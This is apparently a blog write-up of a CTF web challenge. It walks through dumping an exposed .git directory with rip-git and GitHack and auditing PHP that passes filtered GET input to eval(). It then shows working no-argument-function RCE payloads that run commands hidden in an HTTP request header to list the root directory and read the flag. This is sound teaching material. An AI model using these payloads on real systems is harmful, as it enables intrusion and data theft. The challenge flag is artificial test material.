• NewStarCTF2023week2-R!!C!!E!!


    打开链接,内容提示是信息泄露

    查看源代码没有任何有用信息

    打算先扫一下它的目录,发现扫不了

    429 表示在一定的时间内用户发送了太多的请求,即超出了频次限制

    那么关于信息泄露,我们收集信息有哪些思路方向呢?

    1、robots协议

    2、phpinfo文件

    3、网站备份文件

    4、源码泄露,常见的有:HG泄露;git泄露;DS_Store泄露

    由于无法进行目录扫描,这里只能手动尝试:

    1、手动测试一下是否存在robots.txt,没有找到

    2、使用Wappalyzer看一下网站采用的平台架构、网站环境、服务器配置环境、javascript框架、编程语言等信息,是php语言,那么我们尝试访问是否存在phpinfo.php,也没有

    3、常见的备份文件后缀:.rar;.zip;.7z;.tar.gz;.bak;.txt;.old;.temp;.phps;.swp

    常见文件名:web;website;backup;back;www;wwwroot;temp;index

    我之前遇到过的是index.php的备份文件,但是这里我们无法目录扫描,也不知道文件名,就算确实存在,可能的情况也太多,所以先跳过。

    4、有一个叫dvcs-ripper 的工具可以处理很多类型的源码泄露

    我们可以先简单测试一下,确定是哪个类型:

    .hg没有

     .DS_Store也没有

    .git有,403禁止,也就是说我们没有权限,但是它确实存在这么一个文件

    使用命令:

    ./rip-git.pl -v -u http://31c01667-ebfb-40d0-8a73-62b25e5f4ce1.node4.buuoj.cn:81/.git

    我那个git的指针好像存在问题,不知道有没有影响

    很奇怪这里下载下来的index是个文件而不是文件夹,cat出来的内容有东西但是存在乱码

    这应该就是一个文件夹,里面包含了三个文件,但是我不知道怎么给它还原

    因为是git泄露,我们也可以使用Githack来获取文件源码信息 

    先移动到githack.py所在目录,使用python来运行该脚本,后面接url

    python githack.py http://31c01667-ebfb-40d0-8a73-62b25e5f4ce1.node4.buuoj.cn:81/.git/

    查看下载的文件

    1. highlight_file(__FILE__);
    2. if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    3. if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
    4. eval($_GET['star']);
    5. }
    6. }

    代码审计:

    使用get请求给star传参;

    preg_replace 函数:执行一个正则表达式的搜索和替换,\w表示非单词字符,单词字符包括:a-z、A-Z、0-9,以及下划线,加上取非^就成了匹配所有的单词字符,+表示可以进行多个匹配,还匹配了左括号和右括号 ,((?R)?)是正则表达式的一个递归子模式,将匹配到的东西替换为空,然后判断替换后内容是否等于分号;

    再使用preg_match函数进行正则匹配,过滤掉了一些敏感的函数和关键字;

    如果满足条件,则会调用eval函数,执行传入的内容。

    注意:这里第一个匹配替换再进行比较的限制,并不是过滤掉了这些哦,而是让我们只能用这些字符,即所有单词字符、括号和分号,因为只有这样,替换之后才只剩下分号,才能与左边相等,使if语句成立,才会继续执行后面的代码。

    此外,这里的代码是bo0g1pop.php的,所以我们的get请求也应该针对这个文件来发起请求。

    出题人可能英语不太好,这里并没有过滤掉current,而是过滤的curent

    列一下目录:

    ?star=print_r(glob(dirname(chdir(dirname(getcwd())))));

    或者用 

    ?star=print_r(glob(dirname(chdir(dirname(current(localeconv()))))));

    我不知道为什么这里只有一个点。。。就算没有子文件应该也有父目录吧

    ?star=print_r(getcwd());
    ?star=print_r(glob(getcwd()));

    还是不行,glob只能扫到html目录,扫不到目录下的文件 

    尝试读取文件:

    ?star=show_source(next(array_reverse(glob(dirname(chdir(dirname(getcwd())))))));

    说明返回了空

    这里使用 getallheaders() 或者apache_request_headers()函数,获取全部 HTTP 请求头信息。

    ?star=print_r(getallheaders());

    理论上来说这两个函数只适用于apache服务器,但实际上这里是ngnix,不管了,能出东西就行

    此外还有用到两个函数

    array_flip:反转键值

    array_rand:随机取一个键名

    那么什么是键值、键名?

    比如我们上面打印出来的东西:

    [User-Agent] => Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.86

    前面的User-Agent叫做键名,后面的内容就是键值。

    实际上在这里它一定程度上对应了我们的请求头和请求头内容,

    因此,我们构造payload:

    ?star=system(array_rand(array_flip(getallheaders())));

    使用burpsuite抓包后随便增加一个请求头

    比如 myon:ls /(前面是请求头名字,后面是我们要执行的命令)

    关于payload的解释:

    先用 getallheaders() 获取全部请求头信息,再用 array_flip() 反转键值,即将 ls /  放到键名的位置,因为 array_rand 是随机取一个键名,反转之后获取到的就是命令,如果没有进行反转,获取到的就是myon。

    这里需要多发几次包,因为array_rand 是随机获取的;

    如果希望可能性大一点,就把请求头删掉一些:

    可以看到flag就在根目录下

    直接cat /flag

    flag{1cec5610-898e-43d0-a678-b307c465d929}

  • 相关阅读:
    Material Design的基本使用方法、Tollbar、菜单等
    java基础---RandomAccessFile
    带你学Java从入门到精通
    锐化滤波算法及例程
    DB2分区表详解
    java计算机毕业设计web家教信息服务平台设计与实现MyBatis+系统+LW文档+源码+调试部署
    html简单案例
    java八股文面试[设计模式]——23种设计模式
    力扣160:相交链表
    (附源码)springboot家庭装修管理系统 毕业设计 613205
  • 原文地址:https://blog.csdn.net/Myon5/article/details/133839819